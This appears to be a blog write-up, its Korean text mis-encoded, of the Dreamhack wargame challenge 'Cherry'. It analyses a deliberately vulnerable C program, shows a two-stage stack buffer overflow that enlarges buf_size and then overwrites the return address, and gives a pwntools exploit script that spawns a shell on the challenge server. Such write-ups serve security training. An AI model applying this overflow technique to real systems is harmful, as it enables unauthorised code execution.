1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/959

 

Cherry

Description ์ฃผ์–ด์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! ํ”Œ๋ž˜๊ทธ๋Š” flag.txt ํŒŒ์ผ์— ์žˆ์Šต๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค.

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ํŒŒ์ผ ๋ถ„์„ 

 

์ผ๋‹จ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ์€ gcc -fno-stack-protector -no-pie chall.c -o chall ๋กœ ์ปดํŒŒ์ผ ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋˜์–ด์žˆ๋‹ค. 

// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall

๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ์„ ์‹คํ–‰ํ•ด๋ณด๋ฉด ๋‘ ๋ฒˆ์˜ ์ž…๋ ฅ์„ ๋ฐ›๊ฒŒ ๋œ๋‹ค. 

  • initialize(): ๋ฒ„ํผ๋ง์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ , SIGALRM์„ ์ด์šฉํ•ด 30์ดˆ ํ›„ ์ž๋™ ์ข…๋ฃŒํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์„ค์ •
  • flag(): /bin/sh ์‹คํ–‰ ํ•จ์ˆ˜ < ์ด๊ฑธ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ฒƒ์ด ๋ชฉํ‘œ 
  • main(): ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ๋ฆ„์œผ๋กœ ์ง„ํ–‰๋จ
    1. initialize() ํ˜ธ์ถœ
    2. "Menu: " ๋ฉ”์‹œ์ง€ ์ถœ๋ ฅ
    3. buf(6๋ฐ”์ดํŠธ ํฌ๊ธฐ)์— ์ตœ๋Œ€ buf_size(16๋ฐ”์ดํŠธ)๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›์Œ 
    4. ์ž…๋ ฅ์ด "cherry"์™€ ๊ฐ™๋‹ค๋ฉด "Is it cherry?: " ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•œ ํ›„, fruit(6๋ฐ”์ดํŠธ ํฌ๊ธฐ)์— ๋‹ค์‹œ buf_size(16๋ฐ”์ดํŠธ)๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›์Œ 
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}

 

(2) ํŽ˜์ด๋กœ๋“œ ์ž‘์„ฑ 

 

์ฒ˜์Œ์—๋Š” ๋‹จ์ˆœํ•˜๊ฒŒ ๋‘๋ฒˆ์งธ ์ž…๋ ฅ์—์„œ ๋ฆฌํ„ด์ฃผ์†Œ๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ•ด์„œ ๋ฒ„ํผ์— ํ•ด๋‹น ๊ธธ์ด์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ๋Š”๋ฐ, ์ผ๋‹จ 16๋ฐ”์ดํŠธ๋กœ ๊ธธ์ด๊ฐ€ ์ œํ•œ๋˜์–ด์žˆ๊ณ  ๋˜ํ•œ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€์˜ ๊ธธ์ด๊ฐ€ ์ด๋ฅผ ๋ณดํ†ต ๋„˜๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์—†๋‹ค. 

 

๋จผ์ € mainํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„ ๊ตฌ์กฐ๋ฅผ ๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค. 

๋†’์€ ์ฃผ์†Œ(high address)
+------------------------+
| ๋ฆฌํ„ด ์ฃผ์†Œ | <-- ์—ฌ๊ธฐ๋ฅผ flag() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์ด ์ตœ์ข… ๋ชฉํ‘œ
+------------------------+
| Saved RBP |
+------------------------+ rbp
| stdin_fd (0) |
+------------------------+ rbp - 0x4
| stdout_fd (1) |
+------------------------+ rbp - 0x8
| fruit[0x6] ("cherry") | <-- ๋‘ ๋ฒˆ์งธ overflow ๋ฐœ์ƒ ์ง€์ 
+------------------------+ rbp - 0xc
| buf_size (0x10) | <-- ์ด ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์ด 1์ฐจ ๋ชฉํ‘œ
+------------------------+ rbp - 0x12
| buf[0x6] | <-- ์ฒซ ๋ฒˆ์งธ overflow ๋ฐœ์ƒ ์ง€์ 
+------------------------+ rbp - 0x18
๋‚ฎ์€ ์ฃผ์†Œ(low address)

 

์‹ค์ œ๋กœ ๋””๋ฒ„๊น…ํ•ด๋ณด๋ฉด buf ๋ณ€์ˆ˜๋Š” 0x7fffffffde18( rbp - 0x18 )์— ์œ„์น˜ํ•˜๊ณ , buf_size ๋Š”  0x7fffffffde24( rbp - 0xc )์— ์œ„์น˜ํ•˜์—ฌ 12๋ฐ”์ดํŠธ ๊ฑฐ๋ฆฌ์— ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ buf์— ์ž…๋ ฅ ๊ฐ€๋Šฅํ•œ ํฌ๊ธฐ๋Š” ์ตœ๋Œ€ 16 ๋ฐ”์ดํŠธ์ด๋ฏ€๋กœ  buf_size ์ž์ฒด๋ฅผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด ๋ฎ์–ด์จ์„œ ํฌ๊ธฐ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

cherry๋งŒ ์ž…๋ ฅํ–ˆ์„ ๋•Œ
cherry + a*10 ์ž…๋ ฅํ–ˆ์„ ๋•Œ

 

๋˜ํ•œ ๋‘๋ฒˆ์งธ ์ž…๋ ฅ๊ฐ’์ด ๋“ค์–ด๊ฐ€๋Š” fruit๋ถ€ํ„ฐ ๋ฆฌํ„ด ์ฃผ์†Œ๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” 0x12+0x8 = 0x1A(26๋ฐ”์ดํŠธ)์ด๋‹ค.

์‹ค์ œ๋กœ ๋””๋ฒ„๊น…ํ•ด๋ณด์•˜์„ ๋•Œ fruit์€ rbp - 0x12 (0x7fffffffde1e)์— ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

๋”ฐ๋ผ์„œ ์ฒซ๋ฒˆ์งธ ์ž…๋ ฅ ๋’ค์— 26๋ฐ”์ดํŠธ๋ฅผ ์ž…๋ ฅํ•œ ๋’ค ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ flag ์ฃผ์†Œ๋กœ ๋ฎ์–ด์“ฐ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. 

 

๋งˆ์ง€๋ง‰์œผ๋กœ ๋ฎ์–ด์“ธ flag ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜์—ฌ์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด์ฃผ์—ˆ๋‹ค.

 

[์ตœ์ข… ์ฝ”๋“œ]

from pwn import *
p = remote("host3.dreamhack.games",16112 )
flag_addr = 0x4012bc
payload = b'cherry'
payload += b'A'*10
p.recvuntil(b"Menu: ")
p.send(payload)
payload = b'B'*26
payload += p64(flag_addr)
p.recvuntil(b"Is it cherry?: ")
p.send(payload)
p.interactive()

 

 

 

mnzy๐ŸŒฑ
-->